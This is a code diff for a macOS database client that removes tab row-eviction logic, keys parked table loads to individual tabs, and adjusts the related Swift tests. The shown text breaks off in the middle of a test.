9038cd12f8..7d926a3d79 100644 --- a/apple/TablePro/Models/Query/TabSession.swift +++ b/apple/TablePro/Models/Query/TabSession.swift @@ -24,7 +24,6 @@ final class TabSession: ObservableObject, Identifiable { let id: UUID @Published var tableRows: TableRows - @Published var isEvicted: Bool /// Bumped by `TabSessionRegistry` on every mutation of `tableRows`. `TableRows` is a /// value type with no `Equatable` conformance, so views that derive expensive content @@ -48,15 +47,13 @@ final class TabSession: ObservableObject, Identifiable { var viewportStage: GridViewportStage? /// Whether the table changed after these rows, or the definition they were read with, were - /// fetched. Unlike eviction the rows stay, so the grid goes on showing them until the reload - /// commits over them, and a tab whose last result was empty can be marked too. Not published: - /// nothing draws it. + /// fetched. The rows stay, so the grid goes on showing them until the reload commits over them, + /// and a tab whose last result was empty can be marked too. Not published: nothing draws it. var freshness: TableFreshness init(id: UUID = UUID()) { self.id = id self.tableRows = TableRows() - self.isEvicted = false self.freshness = TableFreshness() self.dataRevision = 0 self.bufferEpoch = 0 diff --git a/apple/TablePro/Models/Query/TabSessionRegistry.swift b/apple/TablePro/Models/Query/TabSessionRegistry.swift index 6479ac81b0..6b2429bd89 100644 --- a/apple/TablePro/Models/Query/TabSessionRegistry.swift +++ b/apple/TablePro/Models/Query/TabSessionRegistry.swift @@ -40,29 +40,17 @@ final class TabSessionRegistry { func setTableRows(_ rows: TableRows, for tabId: UUID) { let session = ensureSession(for: tabId) session.tableRows = rows - session.isEvicted = false session.dataRevision &+= 1 session.bufferEpoch &+= 1 session.rowSetRevision &+= 1 } - /// A mutation of what the tab already holds, so it cannot resurrect a tab that holds nothing. - /// - /// Phase-2 metadata (foreign keys, defaults, enum values) lands at background priority long - /// after the load that asked for it, and it is keyed on the result rather than on the rows, so - /// it arrives on tabs that were evicted while it was in flight. Clearing `isEvicted` for a - /// mutation that leaves the buffer empty leaves a tab with no rows that `canAutoLoadTableTab` - /// reads as already loaded, and eviction cannot re-mark it because it has nothing left to lose: - /// the grid stays empty until an explicit refresh. @discardableResult func updateTableRows(for tabId: UUID, _ mutate: (inout TableRows) -> Delta) -> Delta { let session = ensureSession(for: tabId) var rows = session.tableRows let delta = mutate(&rows) session.tableRows = rows - if !rows.rows.isEmpty { - session.isEvicted = false - } session.dataRevision &+= 1 if delta.changesRowSet { session.rowSetRevision &+= 1 @@ -73,26 +61,6 @@ final class TabSessionRegistry { func removeTableRows(for tabId: UUID) { guard let session = sessions[tabId] else { return } session.tableRows = TableRows() - session.isEvicted = false - session.dataRevision &+= 1 - session.bufferEpoch &+= 1 - session.rowSetRevision &+= 1 - } - - func isEvicted(_ tabId: UUID) -> Bool { - sessions[tabId]?.isEvicted ?? false - } - - /// Drops a tab's rows and marks it evicted. Getting them back is the caller's job: SwiftUI's - /// `.task(id:)` keys on `QueryTab.loadEpoch`, so a caller that wants the lazy load to re-fire - /// bumps that itself. - /// - /// A tab with no rows is left alone, so eviction never marks a tab that has nothing to lose. - func evict(for tabId: UUID) { - guard let session = sessions[tabId] else { return } - guard !session.tableRows.rows.isEmpty else { return } - session.tableRows.discardRowsKeepingMetadata() - session.isEvicted = true session.dataRevision &+= 1 session.bufferEpoch &+= 1 session.rowSetRevision &+= 1 @@ -109,8 +77,7 @@ final class TabSessionRegistry { } /// Records that the tab's table changed. Nothing is discarded, and a tab holding no rows is - /// marked all the same: an empty collection that gains its first document is exactly the tab - /// eviction refuses. + /// marked all the same: an empty collection can gain its first document. func recordChange(_ change: TableFreshness.Change, for tabId: UUID) { ensureSession(for: tabId).freshness.record(change) } diff --git a/apple/TablePro/Models/Query/TableLoadTrigger.swift b/apple/TablePro/Models/Query/TableLoadTrigger.swift index 240a04661d..744f343fd2 100644 --- a/apple/TablePro/Models/Query/TableLoadTrigger.swift +++ b/apple/TablePro/Models/Query/TableLoadTrigger.swift @@ -9,3 +9,9 @@ internal enum TableLoadTrigger { case userInitiated case restore } + +// Keyed by tab: a window-wide trigger was consumed against whatever tab was selected when the connection came back. +internal struct ParkedTableLoad: Equatable { + let tabId: UUID + let trigger: TableLoadTrigger +} diff --git a/apple/TablePro/Models/Query/TableRows.swift b/apple/TablePro/Models/Query/TableRows.swift index 852751660b..b09235c46c 100644 --- a/apple/TablePro/Models/Query/TableRows.swift +++ b/apple/TablePro/Models/Query/TableRows.swift @@ -174,13 +174,6 @@ struct TableRows: Sendable { rowLocators[id] } - /// Releases the row payload while keeping the schema needed to render and reload the table. - mutating func discardRowsKeepingMetadata() { - rows = [] - indexByID = [:] - rowLocators = [:] - } - /// Writes a value into a cell, or with `isAbsent` takes the field out of the row. A value /// written into a missing field puts the field back. @discardableResult diff --git a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift index 366fd67835..dda24f010d 100644 --- a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift +++ b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift @@ -11,12 +11,6 @@ import SwiftUI import TableProEditorKit import TableProPluginKit -// A change to either field cancels the old task and starts a new one, which coalesces rapid Cmd+Number switches. -private struct TabLoadKey: Hashable { - let tabId: UUID? - let loadEpoch: Int -} - // Only a tab showing rows reruns: an error, a plan or a write's count is not a view of the new database's data. @MainActor internal enum ContainerChangeRerunPolicy { @@ -169,10 +163,7 @@ struct MainEditorContentView: View { .onAppear { updateHasQueryText() } - .task(id: TabLoadKey( - tabId: tabManager.selectedTabId, - loadEpoch: tabManager.selectedTab?.loadEpoch ?? 0 - )) { + .task(id: tabManager.selectedTabId) { coordinator.lazyLoadCurrentTabIfNeeded() } } diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift index 268fc780cf..ad9c2ffc2a 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift @@ -235,9 +235,9 @@ extension MainContentCoordinator { dataGridEntries[tabId]?.displayInputs = inputs } - // Each model holds a whole result's formatted text, so only the tabs in use keep theirs. + // The only memory a tab switch releases: formatted text, rebuilt per drawn cell. Rows stay until the user replaces them. func pruneGridDisplayCaches() { - let budget = MemoryPressureAdvisor.budgetForInactiveTabs() + 1 + let budget = GridDisplayCacheBudget.unmountedGrids() + 1 guard dataGridEntries.count > budget else { return } let ordered = dataGridEntries.sorted { $0.value.lastUsed > $1.value.lastUsed } for (tabId, entry) in ordered.dropFirst(budget) where !entry.model.isMounted { diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryHelpers.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryHelpers.swift index fd76bf1db0..1ca309a771 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryHelpers.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryHelpers.swift @@ -76,7 +76,7 @@ extension MainContentCoordinator { return } if isAutoLoad, services.databaseManager.driver(for: connectionId)?.status != .connected { - pendingLoadTrigger = trigger + parkedTableLoad = ParkedTableLoad(tabId: tabId, trigger: trigger) return } handleQueryExecutionError(error, sql: sql, tabId: tabId, connection: conn, serverOutput: serverOutput) diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryTasks.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryTasks.swift index eae085f421..e3cfd3d489 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryTasks.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryTasks.swift @@ -24,7 +24,7 @@ extension MainContentCoordinator { traceConnectUnavailable(traceToken) guard tabExecution.settle(claim) else { return false } retireQueryTask(.claim(claim)) - pendingLoadTrigger = trigger + parkedTableLoad = ParkedTableLoad(tabId: claim.tabId, trigger: trigger) declineTableLoad(for: claim.tabId) return false } diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+ResultEditing.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+ResultEditing.swift index 47db884572..3062fb2c1a 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+ResultEditing.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+ResultEditing.swift @@ -29,9 +29,11 @@ extension MainContentCoordinator { /// two. They all read this now. var canEditActiveResult: Bool { guard let tab = tabManager.selectedTab else { return false } + // A claimed execution replaces these rows and clears whatever was staged on them meanwhile, as the data files grid does when busy. return tab.tableContext.isEditable && tab.tableContext.allowsRowEditing && !safeModeLevel.blocksAllWrites && activeResultEditRefusal == nil + && !tabExecution.isExecuting(tab.id) } } diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift index b7a0bf9b78..d79285c440 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift @@ -37,7 +37,7 @@ extension MainContentCoordinator { } guard let session = DatabaseManager.shared.activeSessions[connection.id], session.isConnected else { - if isTableTab { pendingLoadTrigger = .restore } + if isTableTab { parkedTableLoad = ParkedTableLoad(tabId: selected.id, trigger: .restore) } return } diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabSwitch.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabSwitch.swift index d89a25e631..00257963f2 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabSwitch.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabSwitch.swift @@ -9,7 +9,6 @@ import Foundation import os import TableProEditorKit -import TableProUtilities extension MainContentCoordinator { func handleTabChange( @@ -63,13 +62,9 @@ extension MainContentCoordinator { } let saveMs = Int(Date().timeIntervalSince(saveStart) * 1_000) - // Deferred a tick: the sort and budget calculation is costly with many open tabs. - if tabManager.tabs.count > 2 { - let activeIds: Set = Set([oldTabId, newTabId].compactMap { $0 }) - Task { @MainActor [weak self] in - self?.evictInactiveTabs(excluding: activeIds) - self?.pruneGridDisplayCaches() - } + // Deferred a tick: releasing a large formatted cache is not work the switch should wait on. + Task { @MainActor [weak self] in + self?.pruneGridDisplayCaches() } let restoreStart = Date() @@ -117,11 +112,11 @@ extension MainContentCoordinator { ) // No `reloadVersion` bump: it is window-wide, and bumping it on a switch re-formatted the incoming grid's whole result (#2424). - let needsReload = needsRowReload(newId) + let isStale = tabSessionRegistry.isStale(newId) lazyLoadCurrentTabIfNeeded() TabSwitchTracer.shared.selectionApplied( tabId: newId, - rows: TabSwitchRows(loads: isLoadingRows(newId), needsReload: needsReload), + rows: TabSwitchRows(loads: isLoadingRows(newId), needsReload: isStale), window: contentWindow, isShowing: { [weak manager = tabManager] in manager?.isShowing(newId) ?? false } ) @@ -153,14 +148,10 @@ extension MainContentCoordinator { guard let tab = tabManager.tabs.first(where: { $0.id == tabId }) else { return .resident } return TabSwitchRows( loads: isLoadingRows(tabId) || canAutoLoadTableTab(tab), - needsReload: needsRowReload(tabId) + needsReload: tabSessionRegistry.isStale(tabId) ) } - private func needsRowReload(_ tabId: UUID) -> Bool { - tabSessionRegistry.isEvicted(tabId) || tabSessionRegistry.isStale(tabId) - } - // Only a traced load reports its end; a multi-statement run does not, and would hold the switch open. private func isLoadingRows(_ tabId: UUID) -> Bool { TableLoadTracer.shared.activeToken(for: tabId) != nil @@ -185,84 +176,4 @@ extension MainContentCoordinator { guard let tabId = tabManager.selectedTabId else { return false } return tabExecution.isExecuting(tabId) } - - // Must agree with `canAutoLoadTableTab`: a tab evicted with no route back to its rows shows an empty grid until refreshed. - func canEvictReloadableTableRows(_ tab: QueryTab) -> Bool { - guard tab.id != tabManager.selectedTabId, - tab.tabType == .table, - tab.execution.errorMessage == nil, - tab.content.query.contains(where: { !$0.isWhitespace }), - !tab.pendingChanges.hasChanges, - !tab.display.hasPinnedResults, - !tab.pagination.isLoading, - !tab.pagination.isLoadingMore, - !tabExecution.isBusy(tab.id), - tableLoadTasks[tab.id] == nil, - !tabSessionRegistry.isEvicted(tab.id), - let rows = tabSessionRegistry.existingTableRows(for: tab.id), - !rows.rows.isEmpty - else { return false } - return true - } - - @discardableResult - func evictReloadableTableRows(for tabId: UUID) -> Bool { - guard let index = tabManager.tabs.firstIndex(where: { $0.id == tabId }), - canEvictReloadableTableRows(tabManager.tabs[index]) - else { return false } - - tabManager.mutate(at: index) { tab in - for resultSet in tab.display.resultSets where !resultSet.isPinned { - resultSet.tableRows.discardRowsKeepingMetadata() - } - tab.loadEpoch &+= 1 - } - tabSessionRegistry.evict(for: tabId) - reloadGridModel(forTab: tabId) - return true - } - - func evictInactiveTabs(excluding activeTabIds: Set) { - let start = Date() - let candidates: [(tab: QueryTab, rows: TableRows)] = tabManager.tabs.compactMap { tab in - guard !activeTabIds.contains(tab.id), - tab.execution.lastExecutedAt != nil, - canEvictReloadableTableRows(tab), - let rows = tabSessionRegistry.existingTableRows(for: tab.id) - else { return nil } - return (tab, rows) - } - - let sorted = candidates.sorted { - let t0 = $0.tab.execution.lastExecutedAt ?? .distantFuture - let t1 = $1.tab.execution.lastExecutedAt ?? .distantFuture - if t0 != t1 { return t0 < t1 } - let size0 = MemoryPressureAdvisor.estimatedFootprint( - rowCount: $0.rows.rows.count, - columnCount: $0.rows.columns.count - ) - let size1 = MemoryPressureAdvisor.estimatedFootprint( - rowCount: $1.rows.rows.count, - columnCount: $1.rows.columns.count - ) - return size0 > size1 - } - - let maxInactiveLoaded = MemoryPressureAdvisor.budgetForInactiveTabs() - guard sorted.count > maxInactiveLoaded else { - Self.lifecycleLogger.debug( - "[switch] evictInactiveTabs no-op candidates=\(sorted.count) budget=\(maxInactiveLoaded) elapsedMs=\(Int(Date().timeIntervalSince(start) * 1_000))" - ) - return - } - let toEvict = sorted.dropLast(maxInactiveLoaded) - - var evicted = 0 - for entry in toEvict { - if evictReloadableTableRows(for: entry.tab.id) { evicted += 1 } - } - Self.lifecycleLogger.debug( - "[switch] evictInactiveTabs evicted=\(evicted) attempted=\(toEvict.count) candidates=\(sorted.count) keptInactive=\(maxInactiveLoaded) elapsedMs=\(Int(Date().timeIntervalSince(start) * 1_000))" - ) - } } diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift index 74b9acd5d0..66afcadb7a 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift @@ -119,10 +119,18 @@ extension MainContentCoordinator { private var selectedTabRefreshState: TableRowsRefreshPlan.SelectedTabState? { guard let tab = tabManager.selectedTab else { return nil } - let holdsEdits = changeManager.hasChanges - || tab.pendingChanges.hasChanges - || isEditingActiveGrid - return TableRowsRefreshPlan.SelectedTabState(id: tab.id, holdsEdits: holdsEdits, load: selectedTabLoad(tab.id)) + return TableRowsRefreshPlan.SelectedTabState( + id: tab.id, + holdsEdits: holdsUnsavedWork(tab), + load: selectedTabLoad(tab.id) + ) + } + + // The one answer for every reload path, the lazy load included: an open cell counts, or a reload drops what is typed in it. + func holdsUnsavedWork(_ tab: QueryTab) -> Bool { + if tab.pendingChanges.hasChanges { return true } + guard tab.id == changeManagerTabId else { return false } + return changeManager.hasChanges || isEditingActiveGrid } private func selectedTabLoad(_ tabId: UUID) -> TableRowsRefreshPlan.SelectedTabLoad { diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+WindowLifecycle.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+WindowLifecycle.swift index d19feeaa42..da40de84c0 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+WindowLifecycle.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+WindowLifecycle.swift @@ -20,8 +20,6 @@ extension MainContentCoordinator { "[switch] coordinator.handleWindowDidBecomeKey connId=\(self.connectionId, privacy: .public) selectedTabId=\(self.tabManager.selectedTabId?.uuidString ?? "nil", privacy: .public)" ) isKeyWindow = true - evictionTask?.cancel() - evictionTask = nil consumeDeferredRestoreLoadIfNeeded() refreshSourceFileDiskChanges() @@ -40,16 +38,6 @@ extension MainContentCoordinator { "[switch] coordinator.handleWindowDidResignKey connId=\(self.connectionId, privacy: .public)" ) isKeyWindow = false - - evictionTask?.cancel() - evictionTask = Task { [weak self] in - try? await Task.sleep(for: .seconds(5)) - guard let self, !Task.isCancelled else { return } - Self.lifecycleLogger.debug( - "[switch] coordinator evictInactiveRowData firing (5s after resignKey) connId=\(self.connectionId, privacy: .public)" - ) - self.evictInactiveRowData() - } } // Synchronous on purpose: no grace period, no delayed Task. @@ -65,9 +53,6 @@ extension MainContentCoordinator { persistence.saveAggregatedSync() } - evictionTask?.cancel() - evictionTask = nil - trailingPaneState?.teardown() teardown() @@ -175,7 +160,7 @@ extension MainContentCoordinator { session.isConnected else { tracer.anomaly(.connectionNotReady, token: traceToken) tracer.finish(token: traceToken, outcome: .notConnected) - pendingLoadTrigger = trigger + parkedTableLoad = ParkedTableLoad(tabId: tab.id, trigger: trigger) declineTableLoad(for: tab.id) return } @@ -211,19 +196,25 @@ extension MainContentCoordinator { lazyLoadCurrentTabIfNeeded(trigger: .restore) } + // The parked trigger goes only to the tab that parked it: run against another selected tab, it executed a query tab's SQL. + func loadSelectedTableTabAfterConnect() { + let parked = parkedTableLoad + parkedTableLoad = nil + let trigger = parked.flatMap { $0.tabId == tabManager.selectedTabId ? $0.trigger : nil } + lazyLoadCurrentTabIfNeeded(trigger: trigger ?? .userInitiated) + } + + // Rows a tab holds stay until the user asks for others; only a first load or a change TablePro made to the table loads here. func canAutoLoadTableTab(_ tab: QueryTab) -> Bool { guard tab.tabType == .table else { return false } guard tab.execution.errorMessage == nil else { return false } guard !tab.content.query.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty else { return false } - let rows = tabSessionRegistry.tableRows(for: tab.id) - let needsReload = tabSessionRegistry.isEvicted(tab.id) || tabSessionRegistry.isStale(tab.id) - let hasFreshRows = !rows.rows.isEmpty && !needsReload - let hasExecuted = tab.execution.lastExecutedAt != nil && !needsReload - guard !hasFreshRows, !hasExecuted else { return false } + let hasLoaded = tab.execution.lastExecutedAt != nil + || !tabSessionRegistry.tableRows(for: tab.id).rows.isEmpty + guard !hasLoaded || tabSessionRegistry.isStale(tab.id) else { return false } - let hasPendingEdits = changeManager.hasChanges || tab.pendingChanges.hasChanges - return !hasPendingEdits + return !holdsUnsavedWork(tab) } private func clearAbandonedExecutingFlagIfNeeded(for tab: QueryTab) { diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift index 4885f746c6..5e148f871e 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift @@ -31,17 +31,7 @@ extension MainContentView { let sessions = DatabaseManager.shared.activeSessions guard let session = sessions[connection.id] else { return } if session.isConnected { - if let trigger = coordinator.pendingLoadTrigger { - let hasPendingEdits = - changeManager.hasChanges - || (tabManager.selectedTab?.pendingChanges.hasChanges ?? false) - if !hasPendingEdits { - coordinator.pendingLoadTrigger = nil - consumePendingLoad(trigger: trigger) - } - } else { - coordinator.lazyLoadCurrentTabIfNeeded() - } + coordinator.loadSelectedTableTabAfterConnect() } toolbarState.updateConnectionState(from: session.reportedStatus) toolbarState.syncFromSession(for: connection) @@ -55,17 +45,6 @@ extension MainContentView { ) } - private func consumePendingLoad(trigger: TableLoadTrigger) { - if let tabId = tabManager.selectedTab?.id { - coordinator.resolveTableTabSchemaIfNeeded(tabId: tabId) - } - if tabManager.selectedTab?.tabType == .table { - coordinator.lazyLoadCurrentTabIfNeeded(trigger: trigger) - } else { - coordinator.runQuery(viewport: .firstRow, trigger: trigger) - } - } - // MARK: - Inspector Context func scheduleInspectorUpdate() { diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift index 6d1c4b77d1..84b9a6e042 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift @@ -68,7 +68,7 @@ extension MainContentView { if let session = DatabaseManager.shared.activeSessions[connection.id], session.isConnected { coordinator.lazyLoadCurrentTabIfNeeded() } else { - coordinator.pendingLoadTrigger = .userInitiated + coordinator.parkedTableLoad = ParkedTableLoad(tabId: selectedTab.id, trigger: .userInitiated) } } diff --git a/apple/TablePro/Views/Main/MainContentCoordinator.swift b/apple/TablePro/Views/Main/MainContentCoordinator.swift index c293e1242e..8659645d71 100644 --- a/apple/TablePro/Views/Main/MainContentCoordinator.swift +++ b/apple/TablePro/Views/Main/MainContentCoordinator.swift @@ -272,7 +272,7 @@ final class MainContentCoordinator: ObservableObject { @Published var exportFormatId: String? // Kept after the sheet closes, so reopening Search Database after opening a result shows the results again. var databaseSearchSession: DatabaseSearchSession? - @Published var pendingLoadTrigger: TableLoadTrigger? + var parkedTableLoad: ParkedTableLoad? var deferredRestoreLoadTabId: UUID? var displayFormatsCache: [UUID: DisplayFormatsCacheEntry] = [:] @@ -373,9 +373,6 @@ final class MainContentCoordinator: ObservableObject { // Updated by TabWindowController; read by event handlers such as the sidebar table-selection filter. var isKeyWindow = false - // Scheduled in `handleWindowDidResignKey`, fires 5s later. - var evictionTask: Task? - var refreshCoalesceTask: Task? var refreshPendingTrailing = false @@ -576,13 +573,6 @@ final class MainContentCoordinator: ObservableObject { } }() - // Called on resign key. The selected tab keeps its rows; `canEvictReloadableTableRows` keeps tabs that can't reload themselves. - func evictInactiveRowData() { - for tab in tabManager.tabs { - evictReloadableTableRows(for: tab.id) - } - } - // MARK: - Initialization init( diff --git a/apple/TableProTests/Core/Services/Infrastructure/WorkspaceSwitchKeyStateTests.swift b/apple/TableProTests/Core/Services/Infrastructure/WorkspaceSwitchKeyStateTests.swift index 15f02c6d28..9fc313ea1b 100644 --- a/apple/TableProTests/Core/Services/Infrastructure/WorkspaceSwitchKeyStateTests.swift +++ b/apple/TableProTests/Core/Services/Infrastructure/WorkspaceSwitchKeyStateTests.swift @@ -3,8 +3,7 @@ // TableProTests // // Switching connection inside a window is that window's key change as far as each connection's -// coordinator is concerned: the one leaving the screen resigns, which is what schedules the -// eviction of its row buffers. +// coordinator is concerned: the one leaving the screen resigns. // import AppKit @@ -75,12 +74,11 @@ struct WorkspaceSwitchKeyStateTests { harness.controller.workspaces.select(harness.second.connectionId) #expect(first.isKeyWindow == false) - #expect(first.evictionTask != nil) #expect(second.isKeyWindow) } /// A window that is not key can still change its selection, for example when a close is - /// cancelled. Marking that connection key kept its row eviction from ever being scheduled. + /// cancelled. Marking that connection key ran its deferred restore load in a window nobody saw. @Test("Switching in a window that is not key marks nothing key") func switchInNonKeyWindowMarksNothingKey() throws { let harness = Harness() diff --git a/apple/TableProTests/Core/Services/Query/TabSessionRegistryTableRowsTests.swift b/apple/TableProTests/Core/Services/Query/TabSessionRegistryTableRowsTests.swift index 1f34947861..0389fc5ea1 100644 --- a/apple/TableProTests/Core/Services/Query/TabSessionRegistryTableRowsTests.swift +++ b/apple/TableProTests/Core/Services/Query/TabSessionRegistryTableRowsTests.swift @@ -14,7 +14,6 @@ struct TabSessionRegistryTableRowsTests { let first = store.tableRows(for: tabId) #expect(first.rows.isEmpty) #expect(first.columns.isEmpty) - #expect(store.isEvicted(tabId) == false) let second = store.tableRows(for: tabId) #expect(second.rows.count == first.rows.count) @@ -58,7 +57,7 @@ struct TabSessionRegistryTableRowsTests { #expect(resolved?.rows.count == 1) } - @Test("removeTableRows(for:) deletes the entry and clears evicted state") + @Test("removeTableRows(for:) deletes the entry") func removeTableRowsDeletes() { let store = TabSessionRegistry() let tabId = UUID() @@ -67,50 +66,9 @@ struct TabSessionRegistryTableRowsTests { TableRows.from(queryRows: [["x"]], columns: ["c"], columnTypes: [.text(rawType: nil)]), for: tabId ) - store.evict(for: tabId) - #expect(store.isEvicted(tabId) == true) store.removeTableRows(for: tabId) #expect(store.existingTableRows(for: tabId) == nil) - #expect(store.isEvicted(tabId) == false) - } - - @Test("evict(for:) clears rows and marks evicted while preserving columns") - func evictMarksEvicted() { - let store = TabSessionRegistry() - let tabId = UUID() - let rows = TableRows.from( - queryRows: [["a"], ["b"]], - columns: ["c"], - columnTypes: [.text(rawType: nil)] - ) - store.setTableRows(rows, for: tabId) - - #expect(store.isEvicted(tabId) == false) - store.evict(for: tabId) - - #expect(store.isEvicted(tabId) == true) - let evicted = store.existingTableRows(for: tabId) - #expect(evicted?.rows.isEmpty == true) - #expect(evicted?.columns == ["c"]) - } - - @Test("setTableRows clears evicted flag") - func setClearsEvicted() { - let store = TabSessionRegistry() - let tabId = UUID() - store.setTableRows( - TableRows.from(queryRows: [["a"]], columns: ["c"], columnTypes: [.text(rawType: nil)]), - for: tabId - ) - store.evict(for: tabId) - #expect(store.isEvicted(tabId) == true) - - store.setTableRows( - TableRows.from(queryRows: [["b"]], columns: ["c"], columnTypes: [.text(rawType: nil)]), - for: tabId - ) - #expect(store.isEvicted(tabId) == false) } @Test("updateTableRows applies mutation in place") diff --git a/apple/TableProTests/Models/Query/TabSessionRegistryTests.swift b/apple/TableProTests/Models/Query/TabSessionRegistryTests.swift index a3acc545b7..c13f0553a7 100644 --- a/apple/TableProTests/Models/Query/TabSessionRegistryTests.swift +++ b/apple/TableProTests/Models/Query/TabSessionRegistryTests.swift @@ -182,7 +182,7 @@ struct TabSessionRegistryTests { #expect(session.rowSetRevision == before) } - @Test("Replacing, removing and evicting the buffer each move rowSetRevision") + @Test("Replacing and removing the buffer each move rowSetRevision") func bufferReplacementMovesRowSetRevision() { let registry = TabSessionRegistry() let session = TabSession() @@ -190,15 +190,12 @@ struct TabSessionRegistryTests { registry.setTableRows(makeRows(["a"]), for: session.id) let afterSet = session.rowSetRevision - registry.evict(for: session.id) - let afterEvict = session.rowSetRevision registry.setTableRows(makeRows(["b"]), for: session.id) let afterSecondSet = session.rowSetRevision registry.removeTableRows(for: session.id) #expect(afterSet > 0) - #expect(afterEvict > afterSet) - #expect(afterSecondSet > afterEvict) + #expect(afterSecondSet > afterSet) #expect(session.rowSetRevision > afterSecondSet) } @@ -215,56 +212,32 @@ struct TabSessionRegistryTests { #expect(session.dataRevision > before) } - @Test("evict bumps dataRevision, and leaves it alone when there is nothing to evict") - func evictBumpsDataRevision() { - let registry = TabSessionRegistry() - let session = TabSession() - registry.register(session) - registry.setTableRows(makeRows(["a"]), for: session.id) - let before = session.dataRevision - - registry.evict(for: session.id) - let afterEvict = session.dataRevision - registry.evict(for: session.id) - - #expect(afterEvict > before) - #expect(session.dataRevision == afterEvict) - #expect(session.tableRows.index(of: .existing(0)) == nil) - } - // MARK: - Stale mark private static func rowsChange(at instant: ContinuousClock.Instant = .now) -> TableFreshness.Change { TableFreshness.Change(extent: .rows, at: instant) } - @Test("Marking a tab stale keeps its rows, where evicting drops them") + @Test("Marking a tab stale keeps its rows") func markingStaleKeepsTheRows() { let registry = TabSessionRegistry() let stale = UUID() - let evicted = UUID() registry.setTableRows(makeRows(["a", "b", "c"]), for: stale) - registry.setTableRows(makeRows(["a", "b", "c"]), for: evicted) registry.recordChange(Self.rowsChange(), for: stale) - registry.evict(for: evicted) #expect(registry.isStale(stale)) #expect(registry.tableRows(for: stale).rows.count == 3) - #expect(!registry.isEvicted(stale)) - #expect(registry.tableRows(for: evicted).rows.isEmpty) } - @Test("A tab whose last result was empty can be marked stale, which eviction refuses") + @Test("A tab whose last result was empty can be marked stale") func emptyResultCanBeMarkedStale() { let registry = TabSessionRegistry() let tabId = UUID() registry.setTableRows(makeRows([]), for: tabId) - registry.evict(for: tabId) registry.recordChange(Self.rowsChange(), for: tabId) - #expect(!registry.isEvicted(tabId)) #expect(registry.isStale(tabId)) } diff --git a/apple/TableProTests/Models/Query/TabSessionTests.swift b/apple/TableProTests/Models/Query/TabSessionTests.swift index f166846bd2..ff9bda4a49 100644 --- a/apple/TableProTests/Models/Query/TabSessionTests.swift +++ b/apple/TableProTests/Models/Query/TabSessionTests.swift @@ -20,7 +20,6 @@ struct TabSessionTests { #expect(session.tableRows.rows.isEmpty) #expect(session.tableRows.columns.isEmpty) - #expect(session.isEvicted == false) #expect(session.dataRevision == 0) #expect(session.rowSetRevision == 0) } diff --git a/apple/TableProTests/Models/Query/TableRowsRowLocatorTests.swift b/apple/TableProTests/Models/Query/TableRowsRowLocatorTests.swift index 08b699f698..9867fafb36 100644 --- a/apple/TableProTests/Models/Query/TableRowsRowLocatorTests.swift +++ b/apple/TableProTests/Models/Query/TableRowsRowLocatorTests.swift @@ -69,11 +69,4 @@ struct TableRowsRowLocatorTests { #expect(rows.rowLocators.isEmpty) #expect(table(nil).rowLocators.isEmpty) } - - @Test("Releasing the rows releases their locators") - func discardClears() { - var rows = table(["A", "B", "C"]) - rows.discardRowsKeepingMetadata() - #expect(rows.rowLocators.isEmpty) - } } diff --git a/apple/TableProTests/Models/Query/TableRowsTests.swift b/apple/TableProTests/Models/Query/TableRowsTests.swift index 601fb699b8..0d86475188 100644 --- a/apple/TableProTests/Models/Query/TableRowsTests.swift +++ b/apple/TableProTests/Models/Query/TableRowsTests.swift @@ -173,23 +173,6 @@ struct TableRowsIDLookupTests { let insertedID = table.rows[0].id #expect(table.row(withID: insertedID)?.values == ["v"]) } - - @Test("discardRowsKeepingMetadata releases 